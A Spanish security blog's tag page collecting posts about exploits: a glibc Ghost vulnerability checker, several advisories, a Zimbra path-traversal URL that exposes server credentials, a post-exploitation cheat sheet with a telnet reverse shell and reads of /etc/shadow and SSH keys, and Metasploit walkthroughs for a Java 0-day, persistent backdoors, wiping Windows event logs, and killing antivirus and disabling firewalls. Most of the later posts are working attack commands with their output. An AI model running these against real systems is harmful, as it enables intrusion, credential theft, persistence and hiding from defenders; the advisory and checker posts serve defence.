Mostrando entradas con la etiqueta exploit. Mostrar todas las entradas
Mostrando entradas con la etiqueta exploit. Mostrar todas las entradas

PoC local de CVE-2015-0235

Como pequeña prueba de concepto para explotación local, la Universidad de Chicago ha liberado un pequeño código escrito en c que permite comprobar de forma sencilla si tu equipo es vulnerable al fallo en la librería glibc y que afecta a la función gethostbyname. Puedes leer más acerca de este fallo aquí.
Por el momento, vamos a ver en qué estado se encuentra el equipo y en caso de que sea vulnerable, la recomendación es actualizar lo antes posible. El código en cuestión es el siguiente:
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  size_t len = sizeof(temp.buffer) -
               16*sizeof(unsigned char) -
               2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name,
                           &resbuf,
                           temp.buffer,
                           sizeof(temp.buffer),
                           &result,
                           &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
Tras copiarlo en un fichero de texto plano, por ejemplo /tmp/test_ghost.c, debemos compilarlo. Siendo código c:
shell> gcc /tmp/test_ghost.c -o /tmp/test_ghost
Y ejecutándolo ya podemos comprobar si el sistema está o no afectado por la vulnerabilidad Ghost in Linux (CVE-2015-0235).
shell> /tmp/test_ghost 
vulnerable
En caso de que no esté, la salida será tal que así,
shell> /tmp/test_ghost 
not vulnerable
Leer más

Ghost in Linux (CVE-2015-0235)

Investigadores de la empresa Qualys han reportada una grave vulnerabilidad en la librería glibc
(biblioteca C de GNU Linux), que permite obtener un acceso no lícito al sistema sin la necesidad de usuario y contraseña.
Dicha vulnerabilidad ya está reportada y se ha identificado como CVE-2015-0235 y afecta a la mayoría de los sistemas ya que lleva 14 años ahí. Afecta a todos aquellos sistemas que tenga glibc-2.2 instalado, liberado en el año 2000! En mucho sitios ya comparan esta vulnerabilidad a heartbleed, que también movió cielo y tierra en su momento.
Las principales distribuciones GNU/Linux ya fueron notificadas de este bug antes de que se publicase, y ya hay parches al respecto para ellas.

Bug y explicación

Este fallo de seguridad afecta a la función gethostbyname, presente en glibc. Dicha función es usada en casi todos los sistemas Linux cuando se intenta acceder a otro equipo conectado en red. O dicho de otra forma, cuando se intenta resolver un nombre de dominio vía DNS.
El fallo se puede aprovechar si el atacante provoca un desbordamiento de buffer al usar un argumento hostname no válido. Es ahí cuando se permite ejecutar código arbitrario y con los permisos del usuario que está ejecutando DNS.
Qualys creó una prueba de concepto sobre un servidor Exim al enviarle un comando SMTP inválido. Un simple correo electrónico mal intencionado permite abrir una shell remota en el sistema.

Solución

Aplicar las actualizaciones de seguridad de los sistemas y reiniciar.

Más información




Leer más

Fallo de seguridad en wget

Descripción:


Vulnerabilidad en wget, CVE-2014-4877, que permite a un atacante crear una estructura malintencionada en un servidor FTP. Con la opción de descarga recursiva que tiene wget, dicho FTP preparado puede crear enlaces, ficheros y directorios con y asignar los permisos que le interesen en el equipo remoto.

Versiones afectadas: < 1.16

Fecha:


29/10//2014

Detalles:


wget es una herramienta que permite la descarga de contenido desde diversos protocolos (http, https y ftp). También, una de las características más destacadas es la descarga recursiva de dicho enlace, lo que permite descargar FTPs completos, por ejemplo. Un FTP creado con un directorio especificamente manipulado, puede llegar a crear ficheros, directorios y enlaces en el sistema remoto que según el contenido de éste puede llegar a ser peligroso.
La vulnerabilidad está identificada con el código CVE-2014-4877.

Solución:


Hay varias soluciones y la primera y principal, es actualizar wget a la última versión disponible, la 1.16, donde ya está corregido el fallo.
En caso de que esta actualización no se pueda realizar, para mitigar el fallo comentado, se pueden tomas estas dos opciones:
  • - -retr-symlinks
    Pasando esta opción en línea de comandos antes de usar wget.
  • retr-symlinks=on
    En el fichero de configuración general (/etc/wgetrc) o de usuario (~/.wgetrc).
Leer más

Actualización de seguridad para el núcleo de Drupal

Descripción:


Vulnerabilidad crítica en el Core de Drupal
Versiones afectadas: < 6.30 y < 7.26

Fecha:


16/01/2014

Detalles:


  • Suplantación (módulo OpenID) (Muy crítico)
    Vulnerabilidad que afecta al módulo OpenID y que permite a un usuario malicioso entrar como otros usuarios en el sitio, incluyendo administradores.
    Para poder explotar esta vulnerabilidad el usuario debe tener una cuenta en el sitio, y la víctima debe tener una cuenta con una o más identidades OpenID asociadas.
  • Bypass de acceso (módulo Taxonomy) (Moderadamente crítico)
    El módulo Taxonomy proporciona varias páginas del listado que muestran contenido etiquetado con un término particular de taxonomía.
    Bajo ciertas circunstancias, el contenido inédito puede aparecer en estas páginas y estará visible para los usuarios que no deben tener permiso para verlo.
    Esta vulnerabilidad sólo afecta a sitios de Drupal 7 que fueran actualizados desde Drupal 6 o anteriores.
  • Endurecimiento de Seguridad (API Form) (No es crítico)
    El API proporciona un método para que los desarrolladores puedan crear formularios de envío utilizando la función drupal_form_submit() más segura. Este parche no soluciona un problema de seguridad en sí, pero proporciona un extra de seguridad que serían difíciles o imposibles de resolver de otra manera.

Solución:


Actualizar a las versión 6.30 o 7.26, según la versión de drupal empleada.

Referencias:


Drupal security
Leer más

Importante vulnerabilidad en Zimbra

Llevo unos 15 días bastante ocupado, por lo que las lecturas educativas de noticias se ha reducido y mucho.
Ayer me entero, gracias a @susibarreras, de una importante vulnerabilidad en Zimbra que según lo que apuntan, se descubrió a principios de este mes. Luego realmente, y según los responsables de Zimbra, dicha vulnerabilidad ya fue reportada hace tiempo (Febrero 2013) y todo parece ser así, ya que desde la versión 8.0.3 en adelante está corregida.
El problema radica en todas aquellas versiones no actualizadas. Se estima que cerca del 80% son vulnerables en la actualidad. El fallo es un LFI (Local File Inclusion) sobre una URL a la que cualquier persona puede acceder y descubrir así las credenciales del servidor sobre el que lance la consulta, ya que de forma muy simple se puede leer el archivo localconfig.xml de Zimbra (credenciales de acceso).

La vulnerabilidad saltó al público de manos de rubina119, que publicó un pequeño código Ruby que se aprovecha de dicha vulnerabilidad.

El LFI se produce sobre el fichero
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
y cualquier persona puede acceder, a la siguiente URL
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml
y observar todas las credenciales del servidor. Gracias al exploit, crear una cuenta de usuario válida es muy sencillo.

Se recomienda una actualización urgente de todos los servidores Zimbra afectados.

Más información:
exploit-db.com
Leer más

Sugerencias de exploit para GNU/Linux

Sí, estuve de vacaciones, no literalmente (que más quiera), pero sí me tomé un tiempo sin escribir. Desde el último post ya pasaron días, pero no por eso opté por no seguir, sino que necesité tiempo. Poco a poco volveré a coger el ritmo, según pueda hasta intentar nuevamente actualizar diariamente el blog con cosas interesantes.
Hoy, para volver, os presento un proyecto interesante Linux_Exploit_Suggester, que no es más que un pequeño código escrito el perl que permite, en función del kernel de tu sistema, buscar un listado de exploits que sirvan para vulnerar la seguridad del mismo.
No hace demasiadas comprobaciones a nivel de seguridad, simplemente en función de la salida del comando "uname -r" sugiere aquellos posibles exploits que puedes usar. Supongo que si va teniendo un mínimo de alcance lo desarrollarán más y quien sabe, puede terminar siendo uno de los grandes.
Si le queréis dar la oportunidad, el ejecutable está disponible en github y su uso es muy sencillo.
shell> uname -r
2.6.32-5-xen-686
shell> perl Linux_Exploit_Suggester.pl 

Kernel local: 2.6.32

Searching among 63 exploits...

Possible Exploits:
[+] american-sign-language
   CVE-2010-4347
   Source: http://www.securityfocus.com/bid/45408/
[+] can_bcm
   CVE-2010-2959
   Source: http://www.exploit-db.com/exploits/14814/
[+] half_nelson
   Alt: econet    CVE-2010-3848
   Source: http://www.exploit-db.com/exploits/6851
...
Espero que os pueda resultar útil para comenzar a trastear.

Leer más

Actualización de seguridad para Joomla

Descripción:

Vulnerabilidad crítica en el Core de Joomla.
Afecta a versiones <= 2.5.13 y <= 3.1.4.

Fecha:

31/07/2013

Detalles:

Se ha detectado un fallo de seguridad que permite vulnerar las restricciones de subida de ficheros.
Se hace un filtrado incorrecto de los datos, lo que permite subir deferentes tipos de fichero y extensiones (no permitidos) al site.

Solución:

Actualizar a las versión 2.5.14 o 3.1.5.

Referencias:

Joomla security
Leer más

Escalada de privilegios en GNU/Linux

A continuación os dejo una pequeña chuleta con todos aquellos comandos a ejecutar tras una correcta explotación de un sistema GNU/Linux.
Lógicamente esta irá creciendo en función de las necesidades, pero son los básicos para saber desde la IP del equipo, a qué usuarios eres en realidad dentro del mismo.
Una vez dentro de un equipo, todos los datos a los que tengamos acceso pueden suponer un riesgo de seguridad para el sistema e incluso para la red, así que ya sabes, la mejor manera de defender es saber por dónde te van a atacar.
  • Sistema Operativo
    • Tipo de distribución y sistema operativo
      shell> cat /etc/issue
      shell> cat /etc/*-release
      shell> cat /etc/lsb-release
      shell> cat /etc/redhat-release
      
    • Versión del kernel
      shell> cat /proc/version   
      shell> uname -a
      shell> uname -mrs 
      shell> rpm -q kernel 
      shell> dmesg | grep Linux
      shell> ls /boot | grep vmlinuz-
      
    • Variables de entorno
      shell> cat /etc/profile
      shell> cat /etc/bashrc
      shell> cat ~/.bash_profile
      shell> cat ~/.bashrc
      shell> cat ~/.bash_logout
      shell> env
      shell> set
      
  • Aplicaciones y servicios
    • Servicios en ejecución
      shell> ps aux
      shell> ps -ef
      shell> top
      shell> cat /etc/service 
      
    • Servicios ejecutados como root
      shell> ps aux | grep root
      shell> ps -ef | grep root
      
    • Aplicaciones instaladas
      shell> ls -alh /usr/bin/
      shell> ls -alh /sbin/
      shell> dpkg -l
      shell> rpm -qa
      shell> ls -alh /var/cache/apt/archivesO
      shell> ls -alh /var/cache/yum/
      
    • Configuraciones por defecto o plugins (vulnerables)
      shell> cat /etc/syslog.conf 
      shell> cat /etc/chttp.conf
      shell> cat /etc/lighttpd.conf
      shell> cat /etc/cups/cupsd.conf 
      shell> cat /etc/inetd.conf 
      shell> cat /etc/apache2/apache2.conf
      shell> cat /etc/my.conf
      shell> cat /etc/httpd/conf/httpd.conf
      shell> cat /opt/lampp/etc/httpd.conf
      shell> ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 
      
    • Listado de trabajos programados
      shell> crontab -l
      shell> ls -alh /var/spool/cron
      shell> ls -al /etc/ | grep cron
      shell> ls -al /etc/cron*
      shell> cat /etc/cron*
      shell> cat /etc/at.allow
      shell> cat /etc/at.deny
      shell> cat /etc/cron.allow
      shell> cat /etc/cron.deny
      shell> cat /etc/crontab
      shell> cat /etc/anacrontab
      shell> cat /var/spool/cron/crontabs/root
      
  • Red
    • Tarjetas de red y conexiones configuradas
      shell> /sbin/ifconfig -a
      shell> cat /etc/network/interfaces
      shell> cat /etc/sysconfig/network 
      
    • Configuración de red
      shell> cat /etc/resolv.conf
      shell> cat /etc/sysconfig/network
      shell> cat /etc/networks
      shell> iptables -L
      shell> hostname
      shell> dnsdomainname
      
    • Conexiones establecidas con el equipo
      shell> lsof -i 
      shell> lsof -i :80
      shell> grep 80 /etc/services
      shell> netstat -antup
      shell> netstat -antpx
      shell> netstat -tulpn
      shell> chkconfig --list
      shell> chkconfig --list | grep 3:on
      shell> last
      shell> w
      shell> arp -e
      shell> route
      shell> /sbin/route -nee
      
    • Hay posibilidad de sniffar la red
      shell> tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
      
    • Arrancando una shell remota
      shell> nc -lvp 4444    # Attacker. Input (Commands)
      shell> nc -lvp 4445    # Attacker. Ouput (Results)
      shell> telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445
      
    • port forwarding
      shell> ssh -L 8080:127.0.0.1:80 root@192.168.1.7
      shell> ssh -R 8080:127.0.0.1:80 root@192.168.1.7
      
  • Información de usuarios
    • Quién eres y qué usuarios hay
      shell> id
      shell> who
      shell> w
      shell> last 
      shell> cat /etc/passwd | cut -d:    # List of users
      shell> grep -v -E "^#" /etc/passwd|awk -F: '$3 == 0 { print $1}'
      shell> awk -F: '($3 == "0") {print}' /etc/passwd
      shell> cat /etc/sudoers
      shell> sudo -l
      shell> cat ~/.bashrc
      shell> cat ~/.profile
      shell> cat /var/mail/root
      shell> cat /var/spool/mail/root
      
    • Acceso a ficheros sensibles
      shell> cat /etc/passwd
      shell> cat /etc/group
      shell> cat /etc/shadow
      shell> ls -alh /var/mail/
      
    • Cosas "de interés" en la home del equipo
      shell> ls -ahlR /root/
      shell> ls -ahlR /home/
      
    • Contraseñas, scripts, configuraciones, bases de datos, etc.
      shell> cat /var/apache2/config.inc
      shell> cat /var/lib/mysql/mysql/user.MYD 
      shell> cat /root/anaconda-ks.cfg
      
    • Últimos comandos ejecutados
      shell> cat ~/.bash_history
      shell> cat ~/.nano_history
      shell> cat ~/.atftp_history
      shell> cat ~/.mysql_history 
      shell> cat ~/.php_history
      
    • Claves privadas y públicas de ssh
      shell> cat ~/.ssh/authorized_keys
      shell> cat ~/.ssh/identity.pub
      shell> cat ~/.ssh/identity
      shell> cat ~/.ssh/id_rsa.pub
      shell> cat ~/.ssh/id_rsa
      shell> cat ~/.ssh/id_dsa.pub
      shell> cat ~/.ssh/id_dsa
      shell> cat /etc/ssh/ssh_config
      shell> cat /etc/ssh/sshd_config
      shell> cat /etc/ssh/ssh_host_dsa_key.pub
      shell> cat /etc/ssh/ssh_host_dsa_key
      shell> cat /etc/ssh/ssh_host_rsa_key.pub
      shell> cat /etc/ssh/ssh_host_rsa_key
      shell> cat /etc/ssh/ssh_host_key.pub
      shell> cat /etc/ssh/ssh_host_key
      
  • Sistema de ficheros
    • Montaje del sistema de ficheros
      shell> mount
      shell> df -h
      shell> cat /etc/fstab
      
    • Permisos avanzados
      shell> find / -perm -1000 -type d 2>/dev/null
      shell> find / -perm -g=s -type f 2>/dev/null
      shell> find / -perm -u=s -type f 2>/dev/null
      shell> find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
      shell> for i in `locate -r "bin$"`
      do
         find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null;
      done
      
    • Qué ficheros pueden ser editados en /etc
      shell> ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null
      shell>  -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null
      shell>  -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null
      shell>  -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null
      shell>  /etc/ -readable -type f 2>/dev/null
      shell>  /etc/ -readable -type f -maxdepth 1 2>/dev/null
      
    • Qué se puede sacar de /var
      shell> ls -alh /var/log
      shell> ls -alh /var/mail
      shell> ls -alh /var/spool
      shell> ls -alh /var/spool/lpd 
      shell> ls -alh /var/lib/pgsql
      shell> ls -alh /var/lib/mysql
      shell> cat /var/lib/dhcp3/dhclient.leases
      
    • Servidor web
      shell> ls -alhR /var/www/
      shell> ls -alhR /srv/www/htdocs/ 
      shell> ls -alhR /usr/local/www/apache22/data/
      shell> ls -alhR /opt/lampp/htdocs/ 
      shell> ls -alhR /var/www/html/
      
    • Cosas de interés en los ficheros de log
      shell> cat /etc/httpd/logs/access_log
      shell> cat /etc/httpd/logs/access.log
      shell> cat /etc/httpd/logs/error_log
      shell> cat /etc/httpd/logs/error.log
      shell> cat /var/log/apache2/access_log
      shell> cat /var/log/apache2/access.log
      shell> cat /var/log/apache2/error_log
      shell> cat /var/log/apache2/error.log
      shell> cat /var/log/apache/access_log
      shell> cat /var/log/apache/access.log
      shell> cat /var/log/auth.log
      shell> cat /var/log/chttp.log
      shell> cat /var/log/cups/error_log
      shell> cat /var/log/dpkg.log
      shell> cat /var/log/faillog
      shell> cat /var/log/httpd/access_log
      shell> cat /var/log/httpd/access.log
      shell> cat /var/log/httpd/error_log
      shell> cat /var/log/httpd/error.log
      shell> cat /var/log/lastlog
      shell> cat /var/log/lighttpd/access.log
      shell> cat /var/log/lighttpd/error.log
      shell> cat /var/log/lighttpd/lighttpd.access.log
      shell> cat /var/log/lighttpd/lighttpd.error.log
      shell> cat /var/log/messages
      shell> cat /var/log/secure
      shell> cat /var/log/syslog
      shell> cat /var/log/wtmp
      shell> cat /var/log/xferlog
      shell> cat /var/log/yum.log
      shell> cat /var/run/utmp
      shell> cat /var/webmin/miniserv.log
      shell> cat /var/www/logs/access_log
      shell> cat /var/www/logs/access.log
      shell> ls -alh /var/lib/dhcp3/
      shell> ls -alh /var/log/postgresql/
      shell> ls -alh /var/log/proftpd/
      shell> ls -alh /var/log/samba/
      
Leer más

java_jre17_jmxbean 0 day exploit

A finales de Agosto salió una importante vulnerabilidad en Java, un 0 day, que fue ampliamente explotado. Oracle no tardó demasiado en sacar un parque que evitaba su explotación, aunque en ese tiempo muchos sistemas ya habían caído. Esta semana apareció nuevamente un 0 day, que afecta a la última versión de Java y sin un parche disponible a fecha de hoy. Dicho 0 day permite la ejecución de código arbitrario en el equipo víctima.
Ya existe un pequeño módulo en metasploit que simplifica la explotación de dicha vulnerabilidad y lo único que es necesario es acceder a una página con el código ejecutándose y que el navegador de la víctima tenga el plugin de java activado.
msf> use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean)> show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

  Name        Setting  Required  Description
  ----        -------  --------  -----------
  SRVHOST     0.0.0.0  yes       The local host to listen on.
  SRVPORT     8080     yes       The local port to listen on.
  SSL         false    no        Negotiate SSL for incoming connections.
  SSLCert              no        Path to a custom SSL certificate.
  SSLVersion  SSL3     no        Specify the version of SSL
  URIPATH              no        The URI to use for this exploit 

Exploit target:

  Id  Name
  --  ----
  0   Generic (Java Payload)

msf exploit(java_jre17_jmxbean)> set SRVPORT 80
SRVPORT => 80
msf exploit(java_jre17_jmxbean)> set URIPATH /
URIPATH => /
msf exploit(java_jre17_jmxbean)> exploit
 [*] Exploit running as background job.

 [*] Started reverse handler on 192.168.1.33:4444 
 [*] Using URL: http://0.0.0.0:80/
 [*]  Local IP: http://192.168.1.33:80/
 [*] Server started.

msf exploit(java_jre17_jmxbean)>

 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar 
 [*] Sending stage (30216 bytes) to 192.168.1.47  
 [*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.47:2391) at 2013-01-10 20:41:37 +0100
   
msf exploit(java_jre17_jmxbean)> sessions -i 1
 [*] Starting interaction with 1...  

meterpreter>
Actualmente no hay ninguna solución para evitar este ataque, así que toca volver a desactivar Java en nuestros navegadores urgentemente!
Si usas Google Chrome, lo puedes arrancar con la opción --disable-java.

¡Actualización!
Oracle acaba de sacar una nueva versión de java, la 7u11, que soluciona el 0 day comentado. Se recomienda actualización inmediata. Como nota destacada de esta nueva versión, hay que destacar que suben el nivel de seguridad de medio a alto, por defecto y que sólo permitirán la ejecución de applets firmados y validados por CA's.

La entrada java_jre17_jmxbean 0 day exploit la puedes leer en Puppet Linux.
Leer más

metasploit, borrar log's de Windows

Tras realizar un acceso no deseado a un equipo con Windows y tras garantizarnos próximos acceso a dicho sistema, la idea es dejar el mínimo rastro posible. Esta es una de las tareas más importantes en la post-explotación, la ocultación. Windows guarda una especie de log's o registros del sistema para poder saber qué es lo que está pasando, así que una de las formas más sencillas de poder ocultar el acceso, es lógicamente borrarlos. Por suerte, metasploit en meterpreter trae consigo un par de componentes que ayudan a realizar esta tarea. El primero es el uso del modo incógnito, que lo que hace es intentar ocultar todo lo posible todas aquellas tareas que se hagan en el sistema, así como la presencia de un "no deseado" en el mismo.
meterpreter> load incognito
Otra de las formas que hay es borrar los registros que hemos mencionado. Esto es lo mejor que se puede realizar justo antes de abandonar el equipo, para borrar rastro creado en los mismos. Se borrará todo el contenido de los registros.
meterpreter> clearev
[*] Wiping 88 records from Application...
[*] Wiping 136 records from System...
[*] Wiping 0 records from Security...
Leer más

metasploit, quédate en windows

Una de las cosas más importantes que hay que hacer cuando se acaba de explotar una vulnerabilidad es garantizarse el acceso nuevamente al equipo. Conseguirlo la primera vez puede ser casualidad o suerte. Un mail con un archivo infectado, un enlace que da acceso o algo que hizo el usuario puede no repetirse de forma voluntaria o rápida, de ahí que una vez que tengamos acceso, haya que conservarlo. Para ello, partimos de una conexión establecida para tener acceso al equipo.
msf> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
Una vez dentro del mismo y con ayuda del intérprete meterpreter, necesitamos garantizarnos poder volver a abrir la conexión con la máquina de forma remota siempre que nos interese. para hacerlo, qué mejor que ayudarnos del script persistence, que justamente hace eso, tal como sigue,
meterpreter> run persistence -A -X -p 10000 -r 192.168.1.33
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/WIN-VIRT_20120904.4132/WIN-VIRT_20120904.4132.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=10000
[*] Persistent agent script is 612693 bytes long
[+] Persistent Script written to C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs
[*] Starting connection handler at port 10000 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\DOCUME~1\LOCALS~1\CONFIG~1\Temp\XRoCKIfpBs.vbs
[+] Agent executed with PID 2452
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\YilifWziMR

meterpreter> exit -y
[*] Shutting down Meterpreter...

[*] 192.168.1.50 - Meterpreter session 1 closed.  Reason: User exit
Tenemos que indicarle el puerto y la IP de conexión en la que estará un software escuchando para que pueda abrir la conexión hacia el sistema. Una vez esté, salimos de la sesión que tenemos y sólo nos queda configurar un nuevo exploit para abrir cuando así lo deseemos la conexión con el equipo "infectado". Esta vez la forma de establecer la comunicación es directa y no necesita de la explotación de ningún bug.
Ponemos por la tanto el handler a la escucha en el puerto y la IP que se han indicado y al momento aparecerá una nueva conexión, iniciada por el Windows al equipo de metasploit. Esto garantiza el acceso nuevamente a la máquina y además la conexión es iniciada por el equipo infectado, lo que facilita enormemente saltarse firewall's e IDS's.
msf> use multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(handler)> set LPORT 10000
LPORT => 10000
msf exploit(handler)> exploit

[*] Started reverse handler on 192.168.1.33:10000 
[*] Starting the payload handler...
[*] Sending stage (764928 bytes) to 192.168.1.50
[*] Meterpreter session 1 opened (192.168.1.33:10000 -> 192.168.1.50:3045) at 2012-09-01 16:46:01 +0200

msf exploit(handler)> sessions -l

Active sessions
===============

Id  Type         Connection
--  ----         ----------
1   meterpreter  192.168.1.33:10000 -> 192.168.1.50:3045
Leer más

metasploit, vnc payload

La costumbre es una mala compañera de viaje. Siempre que hacía análisis de equipos empleaba los mismos 3 o 4 payload's y era bastante raro que me fijase en mucho más. La idea era siempre la misma, conseguir un acceso al equipo (una shell de meterpreter, por ejemplo). Hoy de casualidad he descubierto un nuevo payload, vncinject/bind_tcp, que no es más que un simple payload que ofrece la posibilidad de abrir una pequeña ventana con la conexión vnc y una shell. Explotar las cosas en un equipo windows con interfaz gráfica es mucho más simple. Una sesión de meterpreter y una de vnc facilitan mucho las cosas. Vamos a ver a continuación cómo usar este nuevo payload.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi)> set PAYLOAD windows/vncinject/bind_tcp 
msf exploit(ms08_067_netapi)> set RHOST 192.168.1.50
msf exploit(ms08_067_netapi)> set RHOST 192.168.1.33
msf exploit(ms08_067_netapi)> exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (445440 bytes) to 192.168.1.50
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vncviewer.
[*] Session 2 created in the background.

VNC Viewer Free Edition 4.1.1 for X - built Mar 10 2010 21:40:13
Copyright (C) 2002-2005 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
Thu Sep 13 16:24:07 2012
 CConn:       connected to host 127.0.0.1 port 5900

Thu Sep 13 16:24:08 2012
 CConnection: Server supports RFB protocol version 3.8
 CConnection: Using RFB protocol version 3.8
 TXImage:     Using default colormap and visual, TrueColor, depth 24.
 CConn:       Using pixel format depth 6 (8bpp) rgb222
 CConn:       Using ZRLE encoding

Thu Sep 13 16:24:09 2012
 CConn:       Throughput 20625 kbit/s - changing to hextile encoding
 CConn:       Throughput 20625 kbit/s - changing to full colour
 CConn:       Using pixel format depth 24 (32bpp) little-endian rgb888
 CConn:       Using hextile encoding

msf exploit(ms08_067_netapi)>
Tras lanzar el exploit, obtendremos una ventana con la conexión vnc establecida, si la explotación fue satisfactoria.
windows vnc connection
Leer más

metasploit, no firewall + no antivirus

Tras obtener acceso a un equipo con Windows por alguna vulnerabilidad lo primero que debemos hacer es garantizarnos que su antivirus no nos detecte y nos bloquee y posteriormente desactivar el cortafuegos (si es que lo hubiera) para evitar así que nos bloquee próximas intrusiones, esta vez ya "consentidas". Estas dos tareas están dentro de la post-explotación de una vulnerabilidad y deben ser de las primeras en lanzarse, para intentar conseguir estar el máximo tiempo posible dentro del equipo.
Entonces, ¿cómo hacemos para desactivar el antivirus? Por suerte meterpreter trae la solución ya implantada de mano,
meterpreter> run killav
[*] Killing Antivirus services on the target...
Este pequeño comando, ya implementado mata todas las sesiones de los antivirus más conocidos, dejando así el sistema indefenso. Luego una vez no haya ya antivirus lo que debemos de realizar es una pequeña comprobación de servicios, para así terminar por desactivar el antivirus en futuros inicios del equipo. Esto lo podemos conseguir con el comando tasklist, para luego gracias al comando sc poder desactivarlo.
meterpreter> shell
Process 1092 created.
Channel 2 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> tasklist /svc
tasklist /svc

Nombre de imagen      PID  Servicios
===================== ==== ============================================
System Idle Process      0 N/D
System                   4 N/D
smss.exe               392 N/D
csrss.exe              720 N/D
winlogon.exe           744 N/D
services.exe           796 Eventlog, PlugPlay
lsass.exe              816 ProtectedStorage, SamSs
svchost.exe            976 DcomLaunch, TermService
svchost.exe           1040 RpcSs
svchost.exe           1128 AudioSrv, Browser, CryptSvc, Dhcp,
                           dmserver, ERSvc, EventSystem,
                           FastUserSwitchingCompatibility, helpsvc,
                           lanmanserver, lanmanworkstation, Netman,
                           Nla, Schedule, seclogon, SENS, SharedAccess,
                           ShellHWDetection, srservice, Themes, TrkWks,
                           W32Time, winmgmt, wscsvc, wuauserv, WZCSVC
logonui.exe           1136 N/D
svchost.exe           1352 Dnscache
svchost.exe           1368 LmHosts, RemoteRegistry, SSDPSRV
spoolsv.exe           1528 Spooler
cvpnd.exe             2016 CVPND
...
Esta salida agrupa los procesos por servicios, así que sólo queda encontrar el servicio de antivirus, por ejemplo, usando
C:\WINDOWS\system32> tasklist /svc | find /I "avg"
tasklist /svc | find /I "avg"
avgwdsvc.exe          3958  avgwd
avgnsx.exe            3912  N/A
avgemcx.exe           3594  N/A
avgtray.exe           3698  N/A
avgidagent.exe        3125  AVGIDSAgent
avgrsx.exe            2658  N/A
avgcsrvx.exe          4005  N/A
Y una vez sepamos que sí está presente en el sistema, únicamente lo deshabilitamos,
C:\WINDOWS\system32> sc config avgwd start=disable
sc config avgwd start=disable
[SC] ChangeServiceConfig SUCCESS

C:\WINDOWS\system32> sc config AVGIDSAgent start=disable
sc config AVGIDSAgent start=disable
[SC] ChangeServiceConfig SUCCESS
Tras esto, en los próximos reinicios del sistema, el antivirus no debería de arrancar.
Ahora tenemos que aprovechar que tenemos acceso para parar el cortafuegos. Para hacerlo,
meterpreter> shell
Process 1880 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> netsh firewall set opmode mode=disable
netsh firewall set opmode mode=disable
Aceptar
Tras ejecutarlo satisfactoriamente,
C:\WINDOWS\system32> netsh firewall show opmode
netsh firewall show opmode

Configuración del perfil Dominio:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Modo de excepción                             = Habilitar

Configuración del perfil Estándar (actual):
-------------------------------------------------------------------
Modo funcional                                = Deshabilitar
Modo de excepci¢n                             = Habilitar

Configuración del servidor de seguridad conexión de rea local:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Lo que, por ejemplo en mi Windows XP ha provocado un popup de advertencia (ya que así lo tengo configurado).
Leer más

ophcrack, obtener contraseñas de windows

